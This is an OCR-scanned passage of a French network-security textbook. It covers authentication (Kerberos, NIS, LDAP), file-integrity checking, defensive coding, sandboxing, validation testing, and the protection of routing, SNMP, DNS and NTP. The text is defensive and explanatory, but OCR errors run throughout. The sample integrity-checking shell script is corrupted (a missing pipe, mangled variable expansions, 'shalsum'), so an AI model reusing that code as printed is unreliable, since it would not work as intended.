Quand ils sont inevitables, les eventuels acces anonymes doivent etre encadres dans un 
environnement distinct cloisonne. Les machines clientes d'un service reseau suivent les 
memes regies que les clients humains : une machine peut etre authentiflee individuelle- 
ment ou exploiter un service anonymement. 

La gestion de l'acces a un pare de serveurs est un vieux probleme, et l'histoire donne 
de nombreux exemples de solutions differentes. L' authentiflcation et l'autorisation 
peuvent etre geres globalement, bien que, souvent, seule 1' authentiflcation soit globale, 
alors que l'autorisation est implementee par les droits associes au compte et au groupe 
de l'utilisateur. 

L'approche de gestion locale des droits n'est possible que pour un petit pare et devient 
rapidement ingerable avec l'accroissement du pare. Dans un tel scenario, 1' authentiflca- 
tion est implementee localement sur chaque plate-forme, independamment des autres. La 
souplesse obtenue est parfois, mais rarement, contrebalancee par une gestion fastidieuse 
et un risque important d' incoherence. 

L'approche de gestion centralisee des droits, selon laquelle tous les acces, y compris les 
acces d'urgence, sont authentifles par un service global, souffre evidemment d'un tres 
grave deficit, puisque le gestionnaire est incapable d'acceder a une plate-forme si le 
serveur d' authentiflcation est indisponible. II faut done imperativement pre voir au moins 
deux comptes authentifles localement sur chaque plate-forme : un compte non privilegie 
et un compte privilegie. Ce dernier ne doit pas etre directement accessible a distance. 

La meilleure approche consiste a avoir peu de comptes « urgence » authentifles locale- 
ment, et l'ensemble des comptes d'usage routinier authentifles via un serveur d'authenti- 
flcation. Remarquons au passage le probleme non trivial que la gestion des mots de passe 
associes aux comptes « urgence » doit assurer qu'ils sont tous distincts. 

Cette solution depend avant tout du contexte operationnel. Si un ou deux operateurs 
peuvent aisement gerer adequatement un flchier chiffre, lorsque le nombre d' operateurs 
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augmente, que les operateurs sont dans des sites differents, que la gestion des mots de 
passe implique beaucoup de mises a jour ou que le roulement du personnel soit significa- 
tif, il faut concevoir une solution ad hoc. II n'y a pas de solution universelle ideale. 

Une des premieres tentatives de gestion centralisee des acces a ete apportee par le 
sy steme YP (Yellow Pages) de Sun Microsystems, devenu ensuite NIS (Network Infor- 
mation Service). 

NIS est un systeme d' acces par tables, englobant non seulement les tables d'authentifica- 
tion, mais egalement les tables de nommage de plates-formes (en opposition a DNS), etc. 
NIS a evolue en NIS+, qui a apporte quelques ameliorations, dont les plus significatives 
sont une organisation hierarchique de la gestion des tables et le controle d' acces aux 
tables. De principe similaire, le repertoire LDAP est une structure centrale pouvant 
supporter tout type de table, y compris des tables d'authentiflcation. 

Kerberos est un systeme qui a ete developpe au cours des annees 1980 au MIT (Massa- 
chusetts Institute of Technology) arm de gerer les droits d' acces des systemes distribues. 
Kerberos a ete initialement deploy e pour les systemes Unix. Depuis Tan 2000, il est inte- 
gre aux systemes Windows afin de remplacer le mecanisme de challenge/response. Le 
systeme Kerberos, dont le principe etait innovant, a inspire beaucoup de systemes 
d'authentiflcation unique, ou SSO (Single Sign On), dans lesquels on retrouve un modele 
similaire et le meme vocabulaire. 

Kerberos utilise la notion de « ticket » pour eviter a un utilisateur de devoir s'authentifier 
constamment aux differents serveurs auxquels il se connecte. Les tickets d' octroi de 
tickets d'authentiflcation sont obtenus aupres d'un serveur d'authentiflcation (SA). En 
revanche, les tickets d' octroi de service TGS (Ticket Granting Server) afin d'acceder a un 
service donne sont obtenus aupres d'un serveur de tickets TGS. Le serveur ne voit jamais 
les donnees d'authentiflcation, comme les couples ID/mot de passe. De plus, le client 
« kerberise » gere les echanges de fa^on transparente, ce qui fait de Kerberos un authen- 
tique systeme d'authentiflcation unique. 

Un systeme Kerberos est done constitue d'un serveur d'authentiflcation SA, d'un serveur 
de tickets TGS et de clients et de serveurs de service, tous utilisateurs du service Kerberos. 

Les etapes pour obtenir 1' acces a un service par un utilisateur sont les suivantes (voir 
figure 10.4) : 

1. L' utilisateur emet une requete au serveur SA afin d' obtenir un ticket d' octroi de 
ticket. 

2. Le serveur SA envoie en retour, apres validation des droits d' acces, un ticket « tgs » 
et une cle de session chiffres avec la cle derivee du mot de passe de 1' utilisateur. 

3. Le poste de travail demande a l'utilisateur son mot de passe et l'utilise pour dechiffrer 
le message emis par le serveur SA. II envoie alors au serveur TGS une requete de 
service en emettant le ticket « tgs » et un authentifiant (nom, adresse IP, adresse, 
heure). Le ticket « tgs », prealablement chiffre par le serveur SA avec une cle unique- 
ment connue des serveurs SA et TGS, contient la cle de session. 
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Figure 10.4 
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4. Le serveur TGS dechiffre le ticket et l'authentiflant, cree le ticket pour le service 
demande et l'envoie au poste. Ces donnees sont chiffrees avec la cle de session parta- 
gee maintenant par le serveur TGS et l'utilisateur. Le ticket de service a ete prealable- 
ment chiffre par le serveur TGS avec une cle uniquement connue du serveur de 
service et du serveur de tickets TGS. 

5. Le poste envoie le ticket et rauthentiflant au serveur desire. 

6. Le serveur verifle le ticket et rauthentiflant, puis octroie l'acces au service. 

Kerberos est un systeme de gestion d'acces systeme aussi bien qu'applicatif. Non seulement 
le client, mais egalement le serveur doivent subir un processus de « kerberisation » consis- 
tant a integrer les primitives Kerberos. Le serveur peut etre un systeme ou une application. 



Securiser le controle d'integrite 

Le controle d'integrite fait partie « integrante » d'une politique de securite systeme. 
Quelle que soit la politique, il est important de pouvoir verifier l'integrite de son imple- 
mentation, ainsi que de 1' ensemble de la configuration systeme. 

Une technique triviale et couteuse consiste a prendre une copie verbatim de tous les 
flchiers systeme et d'archiver cette copie afln de pouvoir comparer au besoin les flchiers 
actuels avec leur copie archivee. Si cette approche offre l'avantage de cumuler la fonc- 
tionnalite de sauvegarde, le processus de verification est extremement lent, puisqu'il faut 
comparer octet par octet un systeme complet avec sa copie archivee, avec tous les proble- 
mes de mise en ceuvre d'une telle verification. 

Une technique moderne consiste a calculer l'empreinte digitale, ou signature cryptogra- 
phique, des flchiers systeme, les empreintes etant ensuite archivees sur un media en 
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lecture seule. La taille de 1' archive est de la sorte significativement reduite, puisque les 
signatures sont courtes. En revanche, les comparaisons subsequentes exigent de recalcu- 
ler l'empreinte de tous les flchiers selectionnes. La comparaison s'effectue entre les 
signatures calculees et les signatures archivees. 

Bien que rapide et efficace, cette technique ne va pas sans quelques inconvenients. 
Premierement, il faut archiver les empreintes sur une plate-forme independante, de fa^on 
a ne faire peser aucun soup^on sur le controle d'integrite et a ne donner aucun acces aux 
empreintes. Le processus de comparaison est des lors plus fastidieux. Deuxiemement, il 
faut recharger le programme de calcul d'empreinte a chaque verification, afin de contour- 
ner une eventuelle compromission de ce programme par l'attaquant. Ce point particulier 
est typique des systemes geres sur un modele paranoi'aque. Troisiemement, cette appro- 
che peut deceler si un fichier a ete modifie par rapport a la version originale, mais pas 
comment, ni par qui. II faut done s' assurer de pouvoir reinstaller le fichier d'origine, 
generalement a l'aide d'un systeme de copie et d' archive. Finalement, les flchiers volati- 
les ou dynamiques sont impossibles a verifier par cette technique, dont le domaine 
d' application se limite aux flchiers statiques. 

II faut toujours s'assurer que 1'algorithme d'empreinte est cryptographiquement robuste. 
Le modele d'empreinte Unix classique, fonde sur un CRC, est facile a falsifier, des outils 
permettant de modifier un fichier tout en en conservant une empreinte donnee. Recem- 
ment, 1'algorithme MD5 a ete compromis, et une technique de generation de collision 
MD5, ainsi que des exemples, ont ete publies. II faut done utiliser un algorithme plus 
fiable, mais egalement plus lent, comme SHA-256. 

Le premier systeme de controle d'integrite a ete Tripwire, initialement distribue gratuite- 
ment en flchiers source. Conceptuellement, Tripwire est tres simple et se modelise avec 
un court script Bourne. Dans sa distribution, Tripwire est ecrit en C et comporte plus de 
fonctionnalites que le modele fourni ci-apres. 

Tripwire lit un fichier contenant les repertoires et les flchiers pour lesquels on veut une 
empreinte. II lit egalement un fichier d' exceptions, typiquement les flchiers volatiles ou 
dynamiques, comme les flchiers de journalisation. II calcule ensuite la signature crypto- 
graphique de chaque fichier selectionne. L' output peut etre capture, transfere et archive 
par ailleurs. La verification s'effectue avec le meme script, dont l'output est transfere sur 
le systeme d'archivage, puis compare avec la base des signatures originales. 

Le script suivant illustre ce processus : 

#!/bin/sh 
# 

TW_PATHS=${l:="/etc/paths"} 
TW_EXCLUDE=$ {2: -"/etc/exclude"} 

while read THIS_PATH 
do 

find $THIS_PATH -type f -print | grep -v -f $TW_EXCLUDE |\ 
sort xargs -r shalsum -b 
done <$TW PATHS 
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Le fichier /etc/paths contient le nom des repertoires contenant les executables et la confi- 
guration systeme, y compris la configuration DNS incluse dans le repertoire /var/ 
named : 

/bin 

/boot 

/etc 

/home 

/lib 

/root 

/sbin 

/usr 

/var/ named 

Ces repertoires contiennent egalement des flchiers volatiles, caracterises par les expres- 
sions regulieres suivantes : 

A. 

/tmp 
\.tmp 

Ce script est incomplet, car il ne tient pas compte des liens symboliques ni des repertoires 
en tant qu'objets. Dans sa distribution, Tripwire calcule les signatures des repertoires, de 
fa^on a s'assurer qu'aucun fichier n'a ete ajoute. 

Dans une configuration Tripwire, il est essentiel d'inclure les repertoires des flchiers 
executables, de fa^on a detecter toute compromission eventuelle des programmes utilises 
pour la verification d'integrite. 

Maitriser la securite des applications 

Tous les mecanismes de protection reseau et systeme ne peuvent rien contre une 
requete d'un client pour un service autorise sous une forme apparemment legitime. Ces 
mecanismes sont done contraints de laisser passer ces requetes, faute de quoi l'infras- 
tructure se trouverait en situation de deni de service. Les programmes applicatifs sont 
done aussi sujets a des requetes apparemment legitimes, mais susceptibles de se reve- 
ler illegitimes. 

Le nombre impressionnant de vulnerabilites publiees illustre, entre autres choses, a quel 
point le modele commercial est predominant dans le monde logiciel. II coute si cher de 
produire un logiciel robuste que l'editeur risque de voir s'envoler des parts de marche en 
retardant la distribution de son produit. Dans un contexte non commercial, la cause prin- 
cipale des vulnerabilites est probablement l'ignorance. 

II est pourtant possible de produire une suite de logiciels complexes relativement robus- 
tes, comme l'a demontre l'equipe de developpement du systeme OpenBSD. Sur une 
periode de plus de huit ans, une seule vulnerabilite exploitable a distance a ete decou- 
verte sur OpenBSD. A la decharge des editeurs de logiciels, on remarque cependant que 
le niveau de complexity des vulnerabilites tend a augmenter. 
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Codage defensif 



Le theme de la securite de la conception et de la programmation des applications est aussi 
varie que riche. Une fouille avec n'importe quel moteur de recherche donne plusieurs 
milliers de references, et un nombre impressionnant de livres sont disponibles en librai- 
rie. La documentation recouvre tous les aspects du developpement jusqu'au codage, 
orientee autour de tous les langages de programmation a la mode. 

Dans les contextes C et Unix multilangage, deux references sont generalement reconnues 
pour leur qualite : 

• Secure Programming for Linux and Unix HOWTO, de David Wheeler, disponible 
gratuitement en ligne. 

• Secure Coding in C and C++, de Robert Seacord, Addison Wesley, 2005. 

David Wheeler a ete un des pionniers de ce theme. Son long et tres complet document 
couvre les regies generates, ainsi que les regies specifiques a certains langages, comme 
C, Java, Perl, TCL ou Ada. 

Robert Seacord, du CERT americain, a une longue experience de validation de la securite 
des applications et est reconnu comme un expert en la matiere. 

La plupart des auteurs font la distinction entre un programme « correct », implementant 
sans erreur la fonctionnalite attendue, et un programme « robuste », capable de s'execu- 
ter dans un environnement hostile. Les deux concepts sont etroitement lies, et certaines 
techniques de Tun s'appliquent egalement a l'autre. 

En revanche, certaines techniques ne sont pas interchangeables, simplement parce qu'un 
programme « robuste » doit terminer son execution de maniere prevue et qu'il est hors de 
question qu'un tel programme s'ecroule suite a une erreur d'execution si son entree n'est 
pas conforme. Ainsi, l'utilisation de la verification d'assertions en C est tres utile dans le 
cadre du developpement et de la validation pre-operationnelle, mais impensable en 
production, ou une assertion non validee entraine une erreur d'execution. Les systemes 
de validation comportementale, comme le systeme Anna pour la programmation Ada, ont 
generalement cette caracteristique. 

Une autre approche consiste a utiliser des verificateurs statiques. Evidemment tres lies a 
leur langage de reference, de tels verificateurs sont capables de detecter les erreurs les 
plus usuelles, comme l'indexation non verifiee sur les bornes d'un tableau ou les prati- 
ques imprudentes d'acces de la memoire dynamique. Ce ne sont toutefois que des auto- 
mates, qui ne peuvent atteindre le niveau de 1' expertise humaine. Tout au plus, doivent-ils 
etre consideres comme des aides. Le programme LINT est probablement un des premiers 
systemes de ce genre. Le systeme SPLINT (Security LINT) est un recent derive de LINT, 
particulierement oriente detection des pratiques imprudentes en C. 

Les principes de base suivants du codage defensif sont conceptuellement simples, mais 
fastidieux a implementer et truffes d'attrape-nigauds : 

• Valider toutes les entrees, englobant toutes les donnees hors du programme. Non 
seulement les entrees fournies directement par un client, mais egalement les parame- 
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tres obtenus de l'environnement doivent etre valides. La validation doit se faire aux 
niveaux lexical, syntaxique et semantique. Ainsi, l'encodage des caracteres, la syntaxe 
d'une URL et les caracteristiques d'un fichier temporaire doivent etre verifies a leur 
niveau respectif. 

• Controler soigneusement la gestion de la memoire dynamique, ainsi que les acces 
memoire par reference de pointeur et par indexation. Porter une attention particuliere 
aux debordements de tampon et utiliser des primitives securisees, comme Libsafe. 

• Separer le controle des donnees et eviter l'execution d'un code lu en entree. Ici, c'est 
la limitation inherente au fameux « probleme de 1' arret » qui est applicable. II a ete 
demontre qu'un programme ne pouvait jamais detecter universellement les codes mali- 
cieux ou errones. 

• Appliquer le privilege minimal, limiter les ressources et cacher 1' information confi- 
dentielle. Ce point est particulierement important dans le cadre d'un serveur Web, qui 
doit etre incapable de retourner les flchiers systeme, par exemple. II y a quelques 
annees, il etait possible de demander a certains moteurs de recherche de retourner les 
references aux flchiers d' authentication sur les plates-formes indexees. 

• Invoquer les ressources externes prudemment et prevoir tous les resultats. Non seule- 
ment valider l'entree a ces ressources, mais egalement le resultat. 

• Privilegier une modularite logicielle simple, chaque module implementant une fonc- 
tion simple. Dans le meme esprit, eviter les mecanismes inutilement complexes. Par 
exemple, pourquoi s'interfacer avec une base de donnees relationnelle orientee objet, 
alors qu'un fichier plat fait parfaitement 1' affaire ? 

Comme indique precedemment, 1' implementation systematique de ces regies est extre- 
mement lourde. Le codage defensif demande signiflcativement plus d' instructions que le 
codage simple. Un bon exemple est le progiciel « Hello » de GNU, qui s'etend sur plus 
de 50 000 lignes (documentation comprise), dont 368 uniquement pour le programme 
principal. 

Environnements d'execution securises 

Bien qu'il soit difficile d'auditer du code quel qu'il soit, il est important de s'assurer de la 
qualite du programme final. Pour y parvenir, une solution possible consiste, si Ton 
dispose du code source, a recompiler le programme afin d' utiliser de maniere transpa- 
rente des environnements d'execution securises. 

StackGuard, par exemple, offre un environnement d'execution securise associe au 
compilateur gcc. StackGuard detecte et fait echouer les attaques par debordement de pile 
en empechant l'adresse de retour sur la pile d'etre alteree. Plus precisement, StackGuard 
place un mot « canari » a cote de l'adresse de retour dans la pile lorsque la fonction est 
invoquee. Si le mot « canari » a ete altere au retour de la fonction, cela signale une atta- 
que par debordement de pile, et le programme s'arrete. II est done possible de recompiler 
une application avec StackGuard afin de stopper la plupart de ces attaques. 
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Le compilateur Visual C++ de Microsoft offre des options de compilation permettant 
d'ameliorer la robustesse et la securite des applications. L' option « /GS-Controle de 
securite du tampon » permet d'inserer un cookie afln de detecter d'eventuelles satura- 
tions de tampon ay ant ecrase l'adresse de retour de la fonction. L' option /RTC permet de 
faire des verifications lors de 1' execution du programme. 

Plusieurs sous-options sont possibles, notamment 1' initialisation de toutes les variables 
locales avec des valeurs non nulles chaque fois que la fonction est invoquee, mais aussi la 
verification du pointeur de la pile pour detecter les corruptions, la detection des sous- 
executions de variables locales, le signalement des utilisations de variables sans 
initialisation, etc. 

Environnements cloisonnes 

Une approche complementaire au codage defensif est l'installation du programme relatif 
a 1' application dans une zone cloisonnee. Ainsi, le risque de catastrophe est minimise par 
l'isolement de 1' application et son incapacity a acceder aux ressources globales. Remar- 
quons que l'isolement n'est pas symetrique : bien que le programme mis en quarantaine 
n'ait pas de visibilite sur son environnement, l'environnement global a necessairement 
connaissance du programme. En effet, l'operateur doit pouvoir gerer 1' application a 
partir de son environnement. 

Deux techniques fondamentales de cloisonnement sont possibles : les cloisonnements 
systeme de type » prison », « parking » ou autre, et la machine virtuelle. 

En principe, il est possible d'obtenir l'isolement raisonnable d'une application reseau a 
l'aide des primitives classiques du systeme d' exploitation. II s'agit d'octroyer une iden- 
tite reservee au demon, dans un groupe d'usagers reserve. Tous les flchiers devraient 
done etre proteges contre ce compte. Ce resultat est cependant bien difficile a obtenir en 
pratique. 

La primitive Unix chroot est souvent utilisee pour creer un environnement cloisonne de 
type prison. Le programme modifle la racine du systeme de flchiers et n'a plus qu'une 
vision limitee du sous-repertoire identifle. Cette technique est typique des serveurs FTP 
et est bien documentee. II faut reproduire dans le sous-repertoire un systeme minimal, 
comprenant entre autres les flchiers d'authentiflcation. C'est d'ailleurs un jeu classique 
que de configurer des comptes inutilisables avec des mots de passe ironiques afln de 
mystifler les pirates en herbe. 

Correctement conflguree, la prison est inviolable, et le programme est totalement prison- 
nier de son environnement. Les systemes BSD implementent la gestion des prisons, y 
compris les plages memoire visibles du programme cloisonne, comme l'illustre la 
figure 10.5. 

Les machines virtuelles implementent le cloisonnement par programmation, constituant 
ainsi une couche intermediaire entre 1' application et le systeme d' exploitation. Le 
programme ne voit pas du tout le systeme de base et a uniquement une vision des servi- 
ces offerts par la machine. La machine virtuelle est un simulateur classique. 
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Figure 10.5 
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Par exemple, la machine Java — Java n'est pas considere ici dans un contexte client, mais 
uniquement dans un contexte de support d' applications tournant sur un serveur — est 
disponible sur beaucoup de systemes, sur lesquels elle offre les memes caracteristiques. A 
nouveau, la documentation disponible sur le sujet est aussi vaste que riche, et plusieurs 
sources traitent exclusivement de la programmation securisee dans un environnement Java. 

La notion de prison ou « sandbox » correspond a un environnement soumis a des regies 
de securite et a des droits d'acces limites, comme l'illustre la figure 10.6. 



Figure 10.6 
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Tests de validation 

Une fois que le programme est ecrit, il est necessaire de valider non seulement son 
comportement correct, mais egalement sa robustesse. La validation de logiciel est un 
domaine de recherche particulierement actif, dans lequel il existe peu de consensus sur la 
marche a suivre. 

II est toujours bon de faire tester une application par une personne etrangere a son deve- 
loppement afin d'apporter un regard neuf sur le programme. Une campagne de validation 
exhaustive comporte les points suivants, qui se rapprochent de la validation de la robus- 
tesse d'un systeme : 
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• Tests de fonctionnalite avec des entrees legitimes : la plupart des chemins d' execution 
sont essayes, surtout les chemins principaux. II est cependant illusoire de tenter de 
valider tous les chemins d' execution. 

• Tests d' endurance aux entrees illegitimes, aux niveaux lexical, syntaxique et semantique. 
C'est pour ces tests qu'une personne etrangere au developpement se revele tres utile. 

• Tests d'endurance avec des entrees aleatoires. Ce type de test est parfois appele 
« torture ». 

• Analyse retrospective du code source : peut egalement etre effectuee par une personne 
exterieure. 

Ces tests utilisent une methodologie a la fois de boite noire et de boite blanche. 

Un exemple malheureux 

Dans cette section, nous donnons un exemple illustrant la difficulte de la programmation 
robuste. N'importe quel historique de vulnerabilite publiee aurait pu etre decrit, mais 
celui-ci est particulierement eclairant. 

Une plate-forme est utilisee par une equipe pour administrer un grand nombre de machi- 
nes distantes. L'authentification sur les machines cibles est geree par un systeme central, 
dans lequel chaque operateur a son mot de passe personnel. II n'y a pas de systeme 
d'authentification unique de type Single Sign On. 

Comme les equipes doivent acceder en parallele a plusieurs machines differentes, elles 
demandent une « amelioration » des fonctionnalites de la plate-forme d'acces. En effet, 
le systeme doit demander une seule fois le mot de passe a un utilisateur, le conserver dans 
son environnement personnel et l'injecter automatiquement a chaque acces subsequent. 
Cette demande est impossible a refuser pour des raisons d'efficacite operationnelle. 

Le developpeur logiciel decide done simplement d'archiver le mot de passe dans une 
variable de 1' environnement SHELL. Les tests de fonctionnalite reussissent tous, si bien 
que la modification est deployee. 

Malheureusement, aucun effort serieux n'est entrepris pour valider l'etancheite du meca- 
nisme. En peu de temps, un utilisateur trouve un moyen facile d'obtenir les mots de passe 
associes aux sessions : une option de la commande standard ps donne la liste des proces- 
sus ainsi que les variables d' environnement et leur contenu. 

Afin de corriger le probleme, la solution decrite ci-apres est simple de conception, mais 
complexe de programmation. Un processus « cache mot de passe » archive le mot de 
passe de l'utilisateur et le donne uniquement a la session de cet utilisateur. Le mot de 
passe est egalement chiffre dans le cache avec une cle derivee des parametres de la 
session. 

Cette solution ne resout toutefois pas completement le probleme, puisqu'il est possible 
que le gestionnaire de la plate-forme accede au cache et le dechiffre grace a son droit 
d'acces universel a la memoire. 
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Malgre toutes ces approches, essayer de concevoir et de programmer seul une version 
appauvrie d'un systeme d'authentiflcation unique serait une erreur grossiere et dangereuse. 



En resume 



Les mecanismes de protection reseau sont rarement sufflsants pour garantir une robus- 
tesse des services distants. Dans tous les cas, il est important d'appliquer une philosophic 
de protection en profondeur, qui inclut la securisation des plates-formes serveur au 
niveau du systeme d' exploitation ainsi que celle des applications, offrant ainsi un service 
securise de bout en bout. 

Bien que les principes de securisation soient relativement simples, leur implementation 
s'avere complexe et fastidieuse. Toute implementation depend de l'environnement consi- 
dere. En revanche, les ressources documentaires disponibles sur le sujet sont riches et 
souvent disponibles gratuitement. 

Le chapitre suivant decrit les architectures, techniques et mecanismes permettant de 
mettre en place une gestion securise d'un reseau. 
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Protection de la gestion 

du reseau 



Par une bonne maitrise de la gestion du reseau, il est possible de se premunir de la 
plupart des problemes de securite reseau. Cela recouvre les services qui gravitent 
autour de la gestion du reseau, tels les services (routage, supervision, etc.) de resolu- 
tion de noms de domaines, de synchronisation des horloges des equipements 
reseau, etc. 

II est primordial de considerer comme critique 1' architecture et les systemes en charge de 
la gestion et de la supervision du reseau. Une bonne gestion du reseau permet d'apporter 
un premier niveau de securite face aux attaques suivantes : 

• Attaques par injection de routes, qui consistent a injecter un nombre important de 
fausses routes ou de routes dupliquees afin de rendre instable le processus de routage 
du reseau. 

• Attaques permettant de generer une instability des routes, qui consistent a injecter des 
mises a jour importantes, par exemple sur une route legitime, afin d'impacter le 
processus de routage ou de bloquer certaines routes. 

• Attaques par deni de service sur les services de noms de domaines, qui peuvent 
bloquer l'etablissement de sessions IP sur un reseau si le service DNS ne repond plus. 

• Attaques sur le protocole de gestion du reseau SNMP (Simple Network Management 
Protocol), qui peuvent impacter le reseau et ses services. 

Le tableau 11.1 recapitule les mesures a implementer afin de garantir un niveau de secu- 
rite acceptable pour 1' administration reseau. 
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Regies de securite pour la gestion de reseau 

Les regies de securite a considerer pour la gestion de reseau sont les suivantes : 

• Les acces logiques d'administration des equipements reseau ne sont possibles que depuis une zone 
dediee a la gestion du reseau. 

• La zone dediee a la gestion du reseau fait I'objet d'une politique de securite specifique et implemente 
un niveau de securite maximal. 

• Les protocoles mis en oeuvre pour la gestion du reseau implemented au maximum les options de 
securite. 

• Tous les services et systemes associes a I'activite reseau sont partie prenante de la politique de secu- 
rite reseau. 



Tableau 11.1 Mesures de protection de I'administration reseau 



Domaine 

Protection des equipements 

Routage reseau 
(IS-IS, OSPF, BGRetc.) 



Supervision reseau (SNMP) 



Service de noms de domaines 
(DNS) 



Service de mise a I'heure (NTP) 



Zone d'administration 



Mesure de securite 

Definir des regies de configuration des equipements par type d'equipement et par fonction 

- Definir des regies de configuration du protocole IGP permettant d'assurer un perimetre 
de securite du processus de routage 

- Definir des regies de configuration du protocole EGP permettant d'assurer un perimetre 
de securite du processus de routage 

- Mettre en place une supervision des indicateurs relatifs aux tables de routage du reseau 

- Definir des procedures d'intervention en cas de perturbation du routage du reseau 

- Dedier des serveurs pour la supervision SNMP 

- Renforcer au maximum la securite des systemes d'exploitation des serveurs 

- Localiser les serveurs SNMP dans la zone d'administration 

- Implementer au maximum les options de securite disponibles (authentification) 

- Suivre et appliquer tous les patchs de securite relatifs aux serveurs et au service SNMP 

- Migrer vers une administration reposant sur le protocole IPsec 

- Dedier des serveurs a la resolution de noms de domaines 

- Renforcer au maximum la securite des systemes d'exploitation des serveurs DNS 

- Localiser les serveurs DNS dans la zone d'administration 

- Implementer au maximum les options de securite disponibles (authentification) 

- Suivre et appliquer tous les patchs de securite relatifs aux serveurs et au service DNS 

- Dedier des serveurs a la mise a jour des horloges des equipements reseau 

- Renforcer au maximum la securite des systemes d'exploitation des serveurs NTP 

- Localiser les serveurs NTP dans la zone d'administration 

- Implementer au maximum les options de securite disponibles (authentification) 

- Suivre et appliquer tous les patchs de securite relatifs aux serveurs et au service NTP 

- Dedier une zone d'administration pour le reseau 

- Renforcer la securite du perimetre de securite par des controles de filtrage tres stricts 

- Authentifier tous les acces a la zone d'administration 

- Generer des traces des acces et des commandes passees a des fins d'investigation de 
securite 

- Installer des systemes de detection d'intrusion au sein de la zone d'administration 

- Dedier un plan d'adressage specifique 
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Le routage reseau 

D'une maniere generate, tous les protocoles de routage ont pour objectif de maintenir les 
tables de routage du reseau dans un etat integre et coherent. Pour y parvenir, les protocoles 
diffusent des informations de routage aux autres systemes du reseau afln de transmettre les 
modifications des tables de routage. Ces protocoles receptionnent en contrepartie les infor- 
mations de routage d' autres systemes du reseau afln de mettre a jour les tables de routage. 

Le deploiement de reseaux IP de grande taille a rapidement necessite la mise au point de 
protocoles de routage dynamique charges de determiner le plus efflcacement possible la 
meilleure route pour atteindre une destination donnee. II a aussi ete necessaire de decou- 
per le reseau en differents systemes autonomes, ou AS (Autonomous System), afln de 
reduire cette complexity. Les systemes autonomes du coeur de reseau Internet sont geres 
par les operateurs de telecommunications. 

Ces considerations ont donne lieu a une classification des protocoles de routage dynami- 
que en deux grandes families : les protocoles IGP (Interior Gateway Protocol), qui 
permettent d'echanger des informations d'accessibilite au sein d'un systeme autonome, 
et les protocoles EGP (Exterior Gateway Protocol), qui permettent d'echanger des infor- 
mations d'accessibilite entre systemes autonomes. 

Voici une liste non exhaustive des algorithmes qui peuvent etre mis en oeuvre lors du 
processus de routage (ces algorithmes doivent etre le plus simple possible afln d'etre effl- 
caces pour le calcul et la propagation des mises a jour des tables de routage) : 

• Algorithmes de routage hierarchique. Deflnissent des groupes logiques de noeuds, 
appeles domaines, systemes autonomes ou zones. Certains routeurs peuvent commu- 
niquer avec les routeurs d' autres domaines, alors que d' autres routeurs ne peuvent 
communiquer qu'a l'interieur de leur propre domaine, simpliflant ainsi les algorithmes 
en fonction des exigences de routage des routeurs appartenant a la hierarchic 

• Algorithmes de routage intradomaine. Ne fonctionnent que dans les limites d'un 
domaine. 

• Algorithmes de routage interdomaine. Fonctionnent tant au sein d'un domaine 
qu'entre divers domaines. 

• Algorithmes de routage d'etat des liens. Testent regulierement l'etat des liens avec 
leurs voisins et diffusent periodiquement ces etats a tous les autres routeurs du 
domaine. L'algorithme du plus court chemin est generalement fonde sur l'algorithme 
de Dijkstra, qui calcule le plus court chemin vers chaque destination. Les avantages de 
tels algorithmes sont d'offrir une convergence rapide sans boucle et a chemins multi- 
ples. De plus, chaque passerelle calcule ses propres routes independamment des 
autres. Les metriques sont generalement precises et couvrent plusieurs besoins. En 
revanche, ces algorithmes sont souvent plus complexes a mettre en oeuvre et consom- 
mateurs de ressources. 

• Algorithmes de routage a vecteur de distance. Diffusent regulierement aux voisins 
l'etat des routes. En se fondant sur les routes revues, chaque voisin met a jour sa propre 
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table en fonction de l'adresse du reseau destination, de celle du routeur permettant 
d'atteindre le reseau destination et du nombre de sauts necessaire pour l'atteindre. Le 
calcul de routes distributes s'appuie le plus souvent sur ralgorithme de Bellman-Ford. 
Les avantages d'un tel algorithme sont une forte interoperabilite entre systemes reseau 
et de faibles impacts sur les ressources systeme. La convergence des tables de routage 
se montre en revanche lente lorsque les reseaux deviennent importants, la taille des 
informations de routage etant proportionnelle au nombre de reseau. De plus, des 
phenomenes de bouclage peuvent intervenir. 

Suivant 1' algorithme utilise, plusieurs parametres peuvent intervenir pour une decision de 
routage. Les criteres de routage s'appuient generalement sur les elements suivants : 

Longueur du trajet. Definit un critere de decision a partir du nombre de liens qu'un 
paquet doit traverser pour se rendre du point d'origine au point de destination. 

Fiabilite. Definit un critere de decision fonde sur la fiabilite de chaque lien du reseau. 

Delai de transmission. Definit un critere de decision fonde sur le temps requis afin 
d'acheminer un paquet du point d'origine au point de destination. 

Largeur de bande. Definit un critere de decision fonde sur la capacite de transmission 
d'un lien. 

Charge. Definit un critere de decision fonde sur les ressources d'un routeur (nombre 
de paquets traites par seconde, ressource memoire, etc.). 

Cout de la communication. Definit un critere de decision fonde sur un cout applique 
a un lien. 

Comme explique precedemment, un reseau de routage est decoupe en systemes autono- 
mes (AS), ou zones de responsabilite. Dans un systeme autonome, le protocole de 
routage utilise est de type IGP. Pour les echanges de routage entre systemes autonomes 
differents, le protocole de routage utilise est de type EGP. Pour le domaine du multicast, 
on distingue les protocoles d'acces, les protocoles de routage intradomaine et les proto- 
coles de routage interdomaine. 

Comme l'illustre la figure 11.1 (exemples de protocoles), les protocoles de routage IP 
interdomaine se situent au-dessus de la couche transport du modele OSI afin d' assurer 
une fiabilite dans les sessions pour la mise a jour des routes par l'utilisation du protocole 
TCP oriente session. 

Le routage reseau est done une piece maitresse dans la gestion du reseau. De ce fait, il 
peut entrainer une faiblesse capitale si des attaques parviennent a perturber directement 
le processus de routage. Un reseau sans routage perd une fonction fondamentale de sa 
securite, qui est sa disponibilite. 

Les protocoles de routage IGP 

Les protocoles IGP sont con^us pour gerer le routage interne d'un reseau avec des objec- 
tifs de forte convergence des nouvelles routes injectees dans les tables de routage. Les 
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Figure 11.1 

Representation en couches 
des protocoles de routage 



EGP 

(interdomaine unicast) 



BGP (179) 



TCP(6) 



IGP 

(intradomaine unicast) 



Multicast 



OSPF (89) 



1 




interdomaine 



MSDP(639) 
A 



acces 



intradomaine 



IGMP(2) 



PIM(103) 
A 



TCP(6) 



IP 



decisions de routage s'appuient sur une unique metrique afin de favoriser la fonction de 
convergence. Le nombre d' entree dans les tables de routage doit aussi etre limite afin de 
renforcer la fonction de convergence. 

Le routage IGP repose generalement sur ralgorithme de Dijkstra. II s'agit d'un algo- 
rithme permettant de trouver, a partir d'un sommet origine unique, le plus court chemin 
dans un graphe G = (S,A) pondere, ou les aretes ont des couts positifs ou nuls. II s'agit 
done d'un algorithme a fixation d' etiquettes (label setting algorithm) traitant definitive- 
